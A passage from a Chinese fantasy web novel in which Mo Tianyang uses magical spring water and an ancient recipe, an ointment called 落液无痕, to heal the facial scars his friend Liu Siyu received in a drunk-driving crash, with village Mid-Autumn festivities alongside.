深吸口气，莫天扬心里开始盘算，想着如何才能让刘思雨的容貌恢复，下一刻他的心头一闪，他想到了应对的方法。 第一百七十六章我来帮你 当东方泛起鱼肚白，刘成祥和杨丽轻轻推开病房的门。刘成祥勉强还算镇定，但杨丽双眼红肿如桃，面容憔悴得像是被一夜秋风扫过的残叶。 “天扬，辛苦你了。”尽管满脸倦容，杨丽仍努力挤出一丝微笑。 “我没事，阿姨您状态不好，得好好休息，不能把自己累垮了。” 杨丽眼眶霎时又红了，泪水无声滚落，“思雨她……”话音未落，已哽咽难言。 莫天扬深吸一口气，语气坚定：“阿姨，思雨会好起来的。” 杨丽擦了擦眼泪，低头望向被纱布重重包裹、只露出一双紧闭眼睛的刘思雨。她想伸手抚摸，指尖却颤抖着迟迟落不下去。 “天扬，你一晚上没合眼，我们给你订了间房，去歇会儿吧。” 莫天扬点点头，“好，等思雨醒了，随时打我电话。” “你村里那边……” “村里没事，酒坊和豆芽都有人照看。我留下来，和叔叔阿姨轮流照顾思雨。” “真是麻烦你了。”刘成祥哑声道，递过一张房卡，仔细说了酒店位置。 莫天扬转身离开的那一瞬，刘成祥一直强撑的情绪终于决堤，眼泪顷刻涌出。他慌忙别过脸，不愿让人看见。 清晨的凉风扑面而来，顿时将困意全都勾起。昨天在青木山奔波整日，晚饭都没吃就赶到了沛川，一夜担忧未眠，直到此刻走出医院，莫天扬才感到饥饿与疲惫排山倒海般袭来。 他在路边早点摊坐下，不到五分钟，两笼小笼包已落肚，速度快得让周围食客纷纷侧目，仿佛在看什么奇人。 填饱了肚子，困意却更浓了。回到酒店，他连衣服都没脱，倒头就睡。 一觉醒来已是下午两点多。莫天扬冲了个澡，换身衣服离开酒店。但他并没直接回医院，而是先去中药店抓了几味药材，才折返酒店。 半小时后，他望着手中两瓶弥漫淡淡药香、略显浑浊的药液，眼里隐隐浮现一丝期待。 药液以灵泉水为基础，他只添入少许补气药粉——这么做不为别的，只为万一刘成祥、杨丽问起，好歹有个说法。 再到病房时，刘思雨已经醒了。莫天扬站到床前，她却只看他一眼，就漠然移开了视线。 “阿姨，思雨这是……” “脑震荡，现在谁都不认得了。” 莫天扬苦笑了下，转头看向床头的点滴瓶，“医生来过了吗？” “来过了，说其他部位手术都很成功，可是脸……”杨丽声音发颤，“我都不知道等她清醒了，该怎么跟她说……” “阿姨，这段时间我一直在研读医学古籍，记得一个祛疤除痕的古方。等思雨好转些，我配来给她试试。” 杨丽与刘成祥同时一怔。家里至今还有莫天扬之前送的“药水”，每天喝一点浑身舒畅，碰上磕碰淤青，抹上一点第二天便消了大半。 “天扬，那方子……真的管用吗？” 莫天扬摇摇头，“应该有用。我今年身上落了不少伤，都是靠那药水，现在一点疤都没留下。所以您别太担心，就算不能完全恢复如初，也绝不会让思雨毁容。” “需要什么药材？阿姨想办法去找！” “阿姨您忘了？我天天进山，青木山里药草多，我自己能备齐。只是这事……别让医生知道，医院不允许私自用药。” “嗯。” 一声微弱的呻吟打断了几人的对话。三人齐齐转头，见刘思雨睫毛颤动，眼泪一下子滑落眼角。 “爸、妈……天扬，我这是怎么了？”她声音虚弱得像一缕薄烟。 “思雨，你昨天出了车祸，被一个酒驾的货车撞到了。” “我好难受……浑身都疼……” “我叫医生来？” “先不用，刚才医生不是说这是正常现象吗？” “那要不要用点止疼药？” “止痛药伤身。” 莫天扬目光微微一动，从背包中取出刚配制好的药水瓶，“阿姨，您找根吸管，喂思雨喝一点。记得别多喝……我去门外看着，免得医生突然过来。” “天扬，这是……？” “我自己配的药，对她恢复有帮助。” “没什么副作用吧？现在思雨太虚弱了……” 莫天扬摇摇头，语气温和而坚定：“叔叔、阿姨，你们放心，一点副作用都没有。我先出去一下。” 十多分钟后，刘成祥推门而出，神情激动，左右张望后压低声音说道：“天扬，你那药水真的管用！思雨喝了之后，身上的疼痛减轻了不少，这会儿又睡着了。” 莫天扬深吸一口气，探头望向病房中安睡的刘思雨，轻声回应：“那就好。药水您收好，别让医生护士看见。” 当夜色深沉，整座城市渐渐沉寂，刘成祥和杨丽拖着疲惫的身影离去。莫天扬静静注视着仍在熟睡中的刘思雨，目光愈发温柔。 不知过了多久，一声压抑的痛呼突然响起，惊醒了趴在床边的莫天扬。他连忙开灯，只见刘思雨眉头紧蹙，眼中满是痛苦。 “思雨，怎么了？”他急声问。 刘思雨微微睁眼，闪过一丝羞赧：“天扬……我妈呢？” “阿姨回去休息了。” “我想上厕所……你能帮我去叫一下护士吗？” 莫天扬愣了一下，随即应道：“好，我这就去。” 片刻后，他回到病房，有些尴尬地看向她：“思雨，护士说这类事情一般不归她们管……” “那我怎么办……” “要不……我帮你吧？”莫天扬说出这句话时，耳根微微发烫。 刘思雨脸上泛起红晕，却还是轻轻“嗯”了一声——她实在忍不下去了。 两人都未经世事，一番折腾下来，刘思雨羞得不敢睁眼，莫天扬连脖子都红透了。 “莫天扬……这件事你不准跟任何人说，要不然我一辈子都不理你。” “好，我不说。你现在感觉身体怎么样？” “难受……头胀得厉害。天扬，你老实告诉我，我的伤……到底怎么样？” 莫天瑶目光微微一动，语气仍尽量平稳：“身上多处骨折，左腿是粉碎性骨折，但手术很成功。” “那我的脸……” “脸部嵌进了一些碎玻璃。” “你的意思是……我毁容了？”刘思雨的声音止不住地发抖。 “暂时会有些痕迹，但我手里有一个古中医的药方，很大可能可以帮你恢复。就算不能完全回到从前，之后也能通过整形手术修复。” “莫天扬，你说的是真的？” 他轻轻扬起嘴角：“我什么时候骗过你？你好好休养，等恢复得差不多了，就来我那儿住，我帮你调理。” “天扬……如果我真的毁了容，你还会像现在这样对我吗？” 莫天扬笑了笑，目光笃定：“当然会。别胡思乱想，相信我。” 刘思雨缓缓呼出一口气，轻声问：“还有没有那种药水？我想再喝一点。” 喝了一些灵泉水后，疼痛逐渐减轻，刘思雨长长舒出一口气，轻声问道：“天扬，我是不是有点强人所难了？” 莫天扬淡淡一笑，语气温和：“没有的事，你别胡思乱想。好好养伤，等恢复得差不多了，我就接你去青木村，彻底把伤治好。” “那就好……” 待刘思雨沉沉睡去，莫天扬微微叹了口气。他起身走到窗边，望着已陷入沉寂的城市，眉宇间浮起一丝凝重。 连续两晚，莫天扬都在医院陪床。刘思雨终于完全清醒过来。在灵泉水的作用下，她的恢复速度快得连医生都感到惊讶。 因为情况良好，除了左腿和头部，她身上的纱布都已拆除，整个人轻松了不少。莫天扬手中的灵泉水也发挥了更大作用——只是简单涂抹，她身上的擦伤就在一天内发生了明显好转。 灵泉水惊人的效果让刘思雨重新看到了希望，杨丽脸上也终于露出了久违的笑容。 酒店房间里，莫天扬看着茶几上十余瓶掺了药末的灵泉水，深吸一口气。回来已经三天，刘思雨的伤势总算稳定下来，他也该回家一趟，向担心刘思雨的人们说明她的情况。 就在他准备收起灵泉水赶往医院时，一阵敲门声忽然响起。莫天扬皱了皱眉，他回来时已经通知过前台下午来收拾房间，这个时候会是谁？ 他走过去打开房门，一缕熟悉的清香飘来，下一秒，一道身影扑进他的怀中。温软的身躯让他一时手足无措。 低头看去，莫天扬眼中掠过一丝惊喜。他抬手轻轻抚过颜若曦的长发，声音不由得放柔：“你怎么突然过来了？” 颜若曦脸颊微红，在他怀里轻轻蹭了蹭才松开手，语气带着几分嗔怪：“思雨出了这么大的事，你都不告诉我。” 莫天扬愣了一下：“这几天忙得晕头转向，我实在是……你这是怎么知道的？” “慧姐都和我说了，你都三四天没回去，他们又不敢随便打电话给你。我放心不下思雨，就过来看看。” “你已经去过医院了？” 颜若曦点点头：“我先去问了医生。医生说其他地方问题不大，但是脸部……”她顿了顿，深吸一口气，“我在北京还有些人脉，要不你去和叔叔阿姨商量一下，带思雨去北京治疗？那边的医疗条件毕竟比这里好很多。” 第一百七十七章药王药方？ “若曦，你要不要先休息一下？” 看着略显凌乱的床铺，颜若曦脸颊微红，“刚才我去医院时思雨还睡着，我不累，我们还是先回医院看看吧。” 病房里，刘思雨望着颜若曦，眼中泛起薄薄水雾。几天前的她还满怀自信，如今却只能躺在病床上。尽管有莫天扬的药水，她心里仍没有底——万一容貌无法恢复如初，她不知道自己还有什么底气与颜若曦相争。 “思雨，别难过。”颜若曦柔声说，“我刚和天扬商量了，我在北京还有些人脉，可以带你去北京找专家会诊。” 杨丽和刘成祥一听，眼中顿时有了光彩。他们当然清楚北京的医疗条件意味着什么。“若曦，你真能联系到专家？” 见颜若曦点头，杨丽连忙看向女儿：“思雨，若曦说得对，北京的医疗水平全国最好。既然她能请到专家，咱们就去看看。” 刘思雨将目光投向莫天扬。他深吸一口气，声音沉稳：“我也认为你应该去。” “好。” 见刘思雨同意，颜若曦与莫天扬对视一眼，彼此眼中都有一丝欣慰。杨丽默默将这一切看在眼里，心情复杂地望向病床上的女儿。 她是过来人，怎会看不出颜若曦注视莫天扬时眼中的情意？而自己的女儿，对莫天扬何尝不是同样心意。若在出事之前，她或许还不那么担心，可如今刘思雨能否恢复尚未可知，即便她与莫天扬曾是同桌，又怎能争得过颜若曦？ “我去问问医生，看能不能派车送思雨转院。” 刘思雨要转往北京，沛川人民医院深知自身条件无法与北京相比，尤其是面对她脸部的伤势，他们确实无能为力。院方很快同意了转院请求，并安排了医疗团队随行护送。 “天扬，这几天你也累坏了，村里还需要你。你先好好休息，等北京的诊断结果出来，我第一时间通知你。” 莫天扬点点头：“阿姨，无论什么结果都请告诉我。如果那边也没有办法，就回青木村，我来治。还有，那些药水一定要按时给思雨喝，注意别让医生护士看到。” 就在莫天扬和杨丽交谈时，刚打完电话的颜若曦回来了：“阿姨，那边都已经联系好了，一到就能住院，专家团队后天就能到位。” 颜若曦带着刘思雨一家离开后，莫天扬心里空落落的，这份失落甚至比当初颜若曦离开时更甚。 当莫天扬回到青木村时，正在吃饭的众人听到门响都不由一怔。下一刻，守在锅灶旁的大青和小白率先冲了出去——大家顿时明白：只有莫天扬回来，它们才会如此激动。 众人迎出去时，果然看见大青和小白正围着莫天扬欢快地跳跃低鸣。“天扬，回来了。” 莫天扬点点头：“我先去换身衣服。” 餐厅里，莫天扬坐下后，曹慧为他盛了碗手擀面。等他吃完一碗，她才轻声问：“天扬，思雨情况怎么样了？” 曹慧这一问，所有人都放下碗筷看向莫天扬，急切地等着刘思雨的消息。 莫天扬深吸一口气：“她被一个酒驾的货车撞了，车全毁了，她自己多处骨折，左腿是粉碎性的。” 一时间，餐厅里响起阵阵抽气声，每个人的神色都更加凝重。莫天扬几天未归，大家猜到刘思雨伤得不轻，却没想到严重到这个程度——连车都报废了，她能活下来真是万幸。 “这两天我们在浅驼也听说了这起车祸，据说司机已经被立案了。” “真是造孽！喝了酒怎么能开车，这简直是害人！” “天扬，那思雨现在……” “身上的伤还不是最麻烦的，她脸部毁容了。今天若曦来接她去了北京，已经联系了专家会诊。” 说到这里，莫天扬看向众人：“思雨身上的伤问题不大，关键是脸。按沛川医生的说法，以现在的医疗技术很难恢复。不过我曾在一部古医书中看到过一个方子，如果北京那边没办法，我会接她来青木村。到时候希望大家多关照一些。” “天扬，你真的有办法？” “我也只是在古医书上见过那个方子，最终能恢复到什么程度，我并不确定。但无论如何，我想试一试。” 全家人都深吸一口气，神色无比凝重。他们明白，容貌对女人何其重要，尤其对曾拥有绝美容颜的刘思雨而言，一旦失去，意味着什么。 这顿晚饭，大家都吃得有些沉默。饭后，众人陆续离开院子，客厅里只剩下莫天扬和爷爷莫啸。 莫啸眼神动了动，沉吟片刻说道：“天扬，你来我房间一趟。” 走进爷爷的房间，莫啸拉开炕下的抽屉，取出一个漆皮斑驳的木箱。这箱子一直被莫啸视若珍宝，连莫天扬也从未见过里面究竟装着什么。 莫啸打开箱盖，莫天扬看见里面整整齐齐放着好些褪了色的布包。爷爷取出其中一个，将箱子重新合上、放回原处。 “这个你拿去。” 莫天扬接过褪色的布包，缓缓打开——几张泛黄发黑的旧纸张映入眼帘。 “爷爷，这是……” 莫啸长叹一声，“这是我年轻时在外游历，偶然得到的三种祛疤美颜的古药方。据那位赠我药方的人说，这些都传自药王孙思邈。至于是不是真的，我也不确定。思雨那孩子不错，这方子或许能帮上她。” 莫天扬郑重地点头：“爷爷，那我回去仔细看看。” “去吧。” 回到自己房间，莫天扬取出一张药方，在灯下潜心研究起来…… 第二天，他联系了颜若曦，请她帮忙寻找一些珍稀药材。 第三天，颜若曦那边传来了一个莫天扬最不愿听到的消息：经过专家会诊，刘思雨的脸部恢复希望渺茫，即便通过整形手术，最多也只能恢复到原来的三四成。 挂断电话，莫天扬深深吸了一口气。他不知道爷爷给的药方究竟有多大功效，但现在他只盼能尽快配出药膏，再结合灵泉空间的水，为刘思雨争取一线希望。 两天后，药材陆续到位。只要忙完酒坊和豆芽房的事，莫天扬就把自己关在房间里埋头研制…… “天扬，再有一个星期就是中秋节了，你看……”饭桌上，陈峰犹豫着开口。 正埋头吃饭的莫天扬愣了一下，抬起头。大家看着他胡子拉碴、眼中布满血丝的模样，都不禁心疼。 “宏利，你们明天去一趟沛川，先把月饼和水果采购回来。记住，一定要选品质最好的。牛羊肉我来安排。” 胡标几人互相看了看，开口道：“天扬，少买点意思一下就行了。与其买月饼水果，不如买点米面油更实惠。” 莫天扬摇摇头：“一年才一次中秋节，只发米面油怕让人笑话。再说您们的女儿女婿、外孙外孙女回来，不准备点月饼水果怎么行？往年咱们条件不好，他们嘴上不说，心里总不是滋味。如今大家都挣了工资，别让人家看低了。” 这番话让胡标几人不由点头。他们都有儿女，那些年因为太穷，女婿都不愿上门。这几个月跟着莫天扬赚了钱，女儿女婿回来的次数多了，态度也明显亲热了不少。 “要不你出一半，我们出一半？” 莫天扬摆摆手：“今年我也赚了些，大家就别客气了，就这么定了吧。” 第二天，当货车将月饼和水果运回村里时，整个村子都轰动了。胡标等人将一箱箱水果、月饼分下去，村民们细数之下，每人竟足足分到十二箱，看得他们眼睛发亮。 那些原本与莫天扬签了承包合同、中途毁约、最后又重新签成临时工的村民，一个个悔青了肠子。 往年过节，他们最多买点肉和散装水果，如今莫天扬一发就是十二箱礼盒。听说每箱价值近百元，这就是一千多块钱。此外，每户还能分到一条羊腿、五斤牛肉、十斤猪肉，还有池塘里捞的大鱼和好几斤虾蟹。 这么多东西，他们过年都舍不得买，现在莫天扬却全给胡标他们发福利，这是他们想都不敢想的。 “天扬，你太给我们长脸了！”一位老乡激动地说，“你没看到王喜山他们羡慕的样子，眼珠子都快掉出来了。现在不只是咱们村，外村人都知道你给我们发节礼了！” 莫天扬淡淡一笑：“这点东西就羡慕了？不过这也是好事，以后咱们招工会更容易。” “天扬，这几天你在房里忙什么？我们在客厅都能闻到药味。” 莫天扬深吸一口气：“在配制一种药膏，也许能让思雨恢复得快一些。” “思雨那边情况怎么样？” “没什么进展。这两天应该就会回来了，跟大家说一声，说话时多注意些。” “标叔那天已经嘱咐过我们了。” 莫天扬点点头，“那就好，咱们一定要让思雨保持好心态，只要心情好了，这对于她恢复绝对有好处。” “这马上要过中秋节了，她过来的话，她父母……” 第一百七十八章落液无痕 “天扬，还有一件事。你离开的这几天，有几拨人过来打听屠苏酒，想花钱买几斤咱们酿的。” 莫天扬闻言皱了皱眉。屠苏酒酿成的事知道的人并不多，就连村里人也只晓得他在酿酒，至于屠苏是什么味道，除了常在他这儿吃饭的胡标、曹勇几个，其他人根本不知情。 屠苏酒虽然已经给王传林他们运走，可王传林远在千里之外的雍州。况且莫天扬早就和他们打过招呼，暂时不要透露酒的来源。 现在居然有人指名道姓要来买他酿的屠苏，这实在让莫天扬感到意外。“标叔，来的是外地人还是……” “听口音像是沛川那边的人。” 莫天扬摇摇头，心里琢磨：难道是之前送给王传林他们的那批酒被尝过了？但转念一想又觉得不对——那时他还没和王传林正式达成协议，以王传林的为人，绝不会随便把自己供出来。 那会是谁…… “天扬，你觉得那些人是什么来路？” 莫天扬仍是摇头：“这个我也说不准……” “会不会是王传林他们……” “绝对不会。王传林他们虽然拿屠苏酒招待过人，但以他们的性子，不会轻易把我透露出去。” “先别多想了，总之千万不能让他们进酒坊。” …… 晚饭后，莫天扬回到房间，取出一个容器，里面盛着一层乳白色、油脂般的粘稠膏体。 他低头轻嗅，浓郁的药香让他眼中泛起期待——这就是他这几天按照爷爷给的配方，研制出的第一种药膏：“落液无痕”。到底有没有效果，他自己也说不准。 深吸一口气，莫天扬取出一把小刀，一咬牙在自己胳膊上划了一道口子。看着鲜血涌出的伤口，他忍痛将容器中的“落液无痕”仔细涂抹在伤口上。 下一刻，莫天扬不禁睁大了眼睛——他清楚地感受到药膏传来丝丝凉意，逐渐渗透皮肤，痛感随之减轻；汹涌的血流也慢慢止住。不过几十次呼吸的时间，不知是药膏粘性大还是真的起效，血已经完全止住，疼痛也缓解了大半。 莫天扬又将药膏抹匀，找出纱布将伤口包扎好。他刻意没有进入灵泉空间——毕竟灵泉水功效神奇，一旦沾染，伤口会愈合得太快，反而无法测试药膏的真实效果。 在生物钟的作用下，莫天扬早早醒来。他第一件事就是拆开纱布，随即眼前一亮：伤口已经结痂，疤痕不是常见的紫黑色，而是比肉色略深的颜色，手触碰上去没有丝毫痛感。纱布上除了一些血痕，只剩下一圈浅浅的药膏印迹。 莫天扬深吸一口气，内心仍不敢完全确定“落液无痕”是否真的有效。他洗漱完毕，开始新一天的忙碌…… 整整一天，他都在悄悄关注着伤口的变化，心中满怀期待。他知道，如果“落液无痕”真的有用，刘思雨恢复的希望就更大——灵泉水本身已有奇效，若再配合这药膏，两者叠加，说不定真能创造奇迹。 日升日落，东方再次泛起曙光。莫天扬拆开纱布，发现疤痕颜色微微转深，伤口处传来隐隐的痒意。 在青木村长大的他，小时候没少在雀沟、山口摸爬滚打，受过多少次伤连自己都数不清。但这种痒意他再熟悉不过——正是伤口即将愈合的征兆。 他轻轻在疤痕上搓了一下，结的痂随之脱落，露出底下一道浅浅的痕迹。涂抹过“落液无痕”的位置，几乎看不出原本伤口的深度。 看着胳膊上那道浅痕，莫天扬深吸一口气，激动得心跳加速、指尖微颤——“落液无痕”真的有用！刘思雨有希望了！ 要知道，这药膏只是用普通井水和蜂蜜配合草药提炼而成。如果改用灵泉水……莫天扬几乎能肯定，效果一定会更加惊人。若是用在刘思雨身上，那结果…… 但转念一想“落液无痕”这逆天的效果，他又冷静下来。仅用普通井水就有如此神效，若再加入灵泉水，到时候刘思雨他们问起来，自己该如何解释？ 打定主意后，莫天扬开始细细研磨药草。他没有借助任何现代工具，而是选用了最传统的方法——石臼和碾轮，一下一下，力道均匀，仿佛在与这些草木低语。 上午十点多，远处传来救护车急促的笛声。莫天扬手中的动作顿了顿，望向窗外，沉默地收拾好研磨到一半的药草。刚走出房门，就见几个医护人员抬着刘思雨进了大院，后面还有人推着一张医用病床。 医护人员安置好刘思雨便离开了。莫天扬看向满脸忧色的胡标等人，低声说：“大家先进去看看思雨吧。” 十几分钟后，众人陆续退出房间，莫天扬才轻轻推门进去。刘成祥和杨丽夫妇神情黯淡地坐在一旁，颜若曦也脸色苍白，朝他微微摇了摇头。 “天扬，”杨丽声音沙哑，“思雨从那天起，就再也不肯开口说话了……” 莫天缓步走到床边。几天过去，刘思雨脸上的纱布已经拆除，却蒙上了一层薄薄的面纱，只能依稀看见脸部轮廓。 “若曦，专家们怎么说？” 颜若曦深吸一口气，声音有些发颤：“车祸时很多玻璃渣嵌进了思雨的脸……虽然碎片都取出来了，但里面残留的毒素太多，以目前的医疗技术，没有办法完全清除。所以……” 她话未说完，刘思雨忽然出声，声音枯涩得像秋叶落地：“天扬，我已经没有希望了……那天，我真不如就那样死了。” 前几天莫天扬的话曾给她一线光明，可国内最顶尖的专家诊断的结果却亲手将这光亮掐灭。 “思雨！你说什么傻话！你要是有个三长两短，让我和你爸怎么活？”杨丽带着哭音喊道。 刘成祥也深吸一口气，看向莫天扬：“天扬，你之前说你手里有个方子……现在这样子，要不，试试吧？” 莫天扬淡淡一笑，目光温柔地落在刘思雨的面纱上，“来，让我看看你现在什么样子。” “不要看……”刘思雨下意识地偏过头。 莫天扬却没有停下，轻轻伸手摘下了她的面纱。杨丽、刘成祥和颜若曦都屏住了呼吸——自从拆了纱布，就连他们都未曾真正见过刘思雨的脸，每次试图靠近，都会被她激烈拒绝。 可出乎意料地，刘思雨这一次并没有爆发，只是颤抖着闭上了眼睛，任由莫天扬动作。 原本清丽绝伦的脸庞，此刻布满了狰狞的伤痕。两道深长的伤口像蜈蚣般横亘脸上，将整张脸分割得支离破碎。伤痕处泛着不自然的猩红色，上面覆着蛛网般凹凸不平的疤结。 莫天扬早已心有准备，神色依旧平静。可颜若曦与刘家父母却忍不住倒吸一口冷气，脸色瞬间变得苍白。 连最亲的人都露出这样的反应……刘思雨睁开眼，眸中最后一点光采彻底湮灭，只剩一片死寂的灰。 就在这时，一阵清凉忽然触上她的脸颊。 刘思雨微微一怔，发现是莫天扬用手轻轻抚过她的伤疤。 “疼吗？” 她心头一酸，父母都被吓住，他却…… “不怎么疼，只是麻。” 莫天扬点点头，“等我一下，我去拿点东西。” 片刻后，他端着一个陶制小罐返回。浓郁的药香在房中弥漫开来，直到这时，其他三人才仿佛回过神来。杨丽流着泪，想摸女儿的脸却又不敢，哽咽得说不出话。 “天扬，这是……？” “这是我调制的药膏，叫‘落液无痕’，能祛疤生肌美颜。” “莫天扬，没用的……”刘思雨声音低哑，“那些专家给我用了不知多少进口特效药，一点用都没有。” 莫天扬只是摇摇头，“不试一次，怎么知道？” 说着，他挽起袖子。这一刻，不仅刘思雨，连旁边的三人都看清了他小臂上缠着的纱布。 “你的胳膊……”刘思雨盯着他，泪眼盈眶，声音里带着心疼。 莫天扬轻轻拆开纱布，露出一道已经淡得几乎看不见的伤痕。 “这是我为了试药划的。只用了两天多，就恢复成这样。” “真的？” 他点点头，拿起药罐，“我来给你上药，你感受一下。如果不行，我还有其他方子。” 他竟然为她这样试药……刘思雨怔怔地看着他，心底最后一道防线悄然融化，终于不再抗拒。 一旁的颜若曦静静望着这一切，眼底掠过一丝不易察觉的羡慕。 药膏敷上脸颊的刹那，刘思雨轻轻哼了一声。杨丽他们顿时又紧张起来。 “思雨？是不是疼？忍一忍……” “不疼……”她低声说，“凉凉的，很舒服。” “那就好，好好配合天扬，说不定……真的有奇迹。” 药膏涂完不过几分钟，刘思雨就感到脸上传来一阵火辣辣的刺痒。她咬住嘴唇，一声不吭地忍着。 半小时后，那灼热感渐渐消退，重新化作一片舒缓的清凉。她长长舒出一口气，轻声说：“好舒服……我有点困了。” 第一百七十九章逆天古方 看着很快睡着的刘思雨，杨丽和刘成祥眼中终于流露出一丝宽慰。“天扬，这几天思雨一直没睡过一个好觉……”杨丽轻声说道，声音里带着疲惫与感激。 莫天扬将手中剩下的“落液无痕”递给杨丽，“阿姨，您看看思雨身上如果还有其他伤痕，也可以涂一些。您和叔叔的房间就在一楼，若曦的隔壁。趁思雨睡着，你们也去休息一会儿吧，我去准备晚饭。” “我们……也有房间？”杨丽有些意外。 莫天扬浅浅一笑，“我这儿别的不多，就是房间多。这两天曹慧都收拾出来了。” “那我也去看看我的房间。”颜若曦轻声接话。 “你的房间是思雨之前按你喜好布置的，就在她隔壁。去看看还缺什么，回头我让宏利他们买回来。” 晚饭后，莫天扬特地给刘思雨炖了鱼汤。等他端着汤走出厨房，客厅里只剩下颜若曦、刘成祥、杨丽和曹慧。 “其他人呢？” “快中秋了，大家都回去忙了。”曹慧笑着解释。 莫天扬目光微动，对曹慧说：“慧姐，明天和大家说一声，这两天除了酒坊、豆芽房必要的人手，其他人都不用过来了。对了，雅婷什么时候回来？” “她明天放假，宏利会开车去接。另外宏利说，之前预定的肉后天送到。” “你还预定了肉？”颜若曦有些惊讶。 曹慧看向她，笑意更深：“是天扬给大家准备的节礼。前几天刚发了月饼、瓜果，每人十二箱。后天是牛羊肉……” “这么多？” “那可不，别说青木村，十里八乡的人都羡慕得很。” “花了不少吧……”杨丽轻声叹道。 莫天扬只是淡淡一笑：“几个月前，我和爷爷还天天吃白水挂面。也是大家帮衬，我才有了今天。回报一下也是应该的。” 杨丽点点头，目光温柔：“我去看看思雨。” 东方再度泛起鱼肚白时，莫天扬起身去了酒坊。忙完酒坊和豆芽房的事，工人们也已开始忙碌。这段时间，地下仓库的主体框架已初步搭建完成。最初莫天扬只打算建个普通仓库，如今看着初具规模的架构，他才发觉这地下空间大得有些超乎预期。 “天扬，每天都这么早。”吕建国驾车过来，笑着招呼。 “吕哥，马上中秋了，你们这边……” “明天就回，放三天假。天扬，我们这几天盘算过，等仓库完工，先把四合院的主体浇筑出来。这样明年开工占地少，不耽误你种菜。” “行，这些你们专业，我听安排。唯一的要求就是保证质量和安全。” 和吕建国聊完，莫天扬返回小院。爷爷正和刘成祥在客厅闲聊，莫天扬望了眼刘思雨的房间方向。 “叔叔，思雨她……” “醒了，情况好多了。你要不去看看？” 刘思雨房中，莫天扬轻轻取下她脸上的纱罩。杨丽和颜若曦同时看向她的脸，下一刻，两人眼中齐齐一亮。 刘思雨的脸庞依旧伤痕纵横，却不再像昨日那样猩红可怖。连那两条蜈蚣似的疤痕也颜色转淡，有了细微的收敛。 “怎么样……”刘思雨声音发颤，小心翼翼地问。 “好多了，真的有效果！”杨丽握住女儿的手，激动得眼角泛泪。 望着母亲和好友的神情，刘思雨眼中终于再度燃起一丝光亮：“那……今天还要涂药吗？” “等下午吧，我得再配制一些。” 中秋前夕，工人们陆续离开，大院一下子安静下来。上午莫天扬给胡标等人分发肉类，村民们看着他们提着一份份丰厚的节礼回家，眼中尽是羡慕。 刘思的脸又比前一天好了些，杨丽和刘成祥脸上也多了笑容。因为伤势好转，刘思雨的话也渐渐多了起来。 “天扬，明天就中秋了，我们今天本来打算回去……思雨就拜托你和若曦了。” 莫天扬浅浅一笑：“这儿也就我们这几个人，叔叔阿姨回去做什么？人多更热闹。” 刘成祥与杨丽相视一笑，点了点头：“那好，我们回去看看思雨爷爷奶奶、姥姥姥爷，晚上就回来。” “也好，我去拿些山货给你们带上。” “不用麻烦……” “不麻烦，最近常进山，攒了不少。” 刘成祥和杨丽带着莫天扬准备的山货离开了，刘思雨也再次沉沉睡去。 走出刘思雨的房间，莫天扬看向颜若曦，却换来她一个大大的白眼：“看什么看。” 莫天扬不由得笑了：“你不回去，你家人那边……” “他们知道思雨受了重伤，我在这陪她散散心。” 莫天扬轻轻叹了口气。刘思雨和颜若曦相识不过一个多月，却能拥有如此深厚的感情，让他心里不禁有些羡慕。 “那也给你家人寄些山货吧。” 颜若曦顿时展颜一笑：“还算你有点良心。走，带我去看看你藏的山货。” “怎么，还要打土豪啊？” “切，你也算土豪？” 两人说笑着走向楼房下的地下室。当莫天扬打开灯，颜若曦看着数十个房间的门，惊讶地睁大了眼睛。 “这么大？” “后院下面都是空的。” “有这里就足够了，你还要把前面那么大的院子都建成地下仓库？这空间比一般的粮库还要大啊。” 莫天扬哈哈一笑，指着一扇门问：“这间怎么样？” 下一刻，他感觉胳膊一软，颜若曦伸手挽住了他，胸前的柔软让莫天扬不禁有些心猿意马。 他伸出另一只手，轻轻揉了揉颜若曦的秀发，换来她一个娇嗔的白眼，但她脸上却洋溢着喜悦。 打开房间的灯，颜若不由得低呼一声。这个三十多平米的房间里，整整齐齐堆满了黑色袋子，靠里的袋子甚至摞了两三层。 “这么多？”颜若曦松开莫天扬，蹲下身随手解开一个袋子，里面是晒干的雪灵菇。 她又查看了几个袋子，发现不仅有雪灵菇、紫皇菇、木耳、地皮菜，还有许多她从未见过的干蘑菇。 “你怎么弄到这么多山货的？” “有时采多了带不回来，就在山里晾晒，前几天去收了一下，就积攒了这么多。”说这话时，莫天扬有些心虚。这房间的山货只是一部分，其他房间还有更多。这些其实都是从灵泉空间带出来的，只是假托在山中采摘晾晒的名义。 “你打算送我什么？” “东西都在这儿，你想要什么随便挑。” 颜若曦眼中满是幸福，踮起脚尖在莫天扬脸上轻轻一吻：“那我就不客气啦。” …… 这个中秋节，让莫天扬在十里八乡再次声名远扬。节后，院子里又重新忙碌起来。 刘思雨身上的伤痕在“落液无痕”的作用下已经消失不见，涂抹过药膏的皮肤甚至比其他部位更加光滑白皙。 至于脸部，原本猩红的伤痕已经消退，那些被玻璃渣刺破的蛛网状疤痕变得很淡，两条横贯的疤痕也恢复了正常肤色，并且明显收缩变细。 脸部恢复良好，身体的康复情况更让刘成祥和杨丽激动不已。除了左腿还有些不便，其他部位据刘思雨自己说只是稍微有点不适，每天都能在搀扶下地走动。 因为恢复情况良好，刘思雨也恢复了往日的活泼。每天除了抹药、睡觉，其余时间都在客厅活动。 “天扬，快看看我的脸怎么样了？” 杨丽夫妇相视一笑。这几天，女儿对莫天扬格外依赖，这样的话每天不知要问多少遍。 莫天扬淡淡一笑，轻轻捏了捏刘思雨的脸：“感觉怎么样？” “不怎么麻了，开始有痛感了。” 莫天扬点点头，深吸一口气：“恢复得很不错。那些小疤痕几乎看不见了，大疤痕也变细了一些。照这个速度，最多一个月疤痕就能完全消失。” “一个月就能消失？” “怎么，还嫌时间长？” 刘思雨咯咯一笑，送给莫天扬一个娇俏的白眼，拿起镜子照了又照：“天扬，你这个''落液无痕''真是太神奇了，不仅能祛疤，连我的皮肤都变好了很多。这里面没什么科技与狠活吧？” 莫天扬哈哈大笑：“别管添加了什么，能治好你的脸就是好东西。” 杨丽感慨道：“思雨，我去过天扬房间几次，这''落液无痕''可是他纯手工制作的，连研磨药粉都是用最传统的方法。” 颜若曦眼睛一亮：“''落液无痕''是纯中药药膏，祛疤效果已经这么惊人，连美颜效果都是其他化妆品无法比拟的。天扬，有没有办法去掉里面的药草味？如果能去掉的话，这''落液无痕''绝对是顶级的化妆品。” 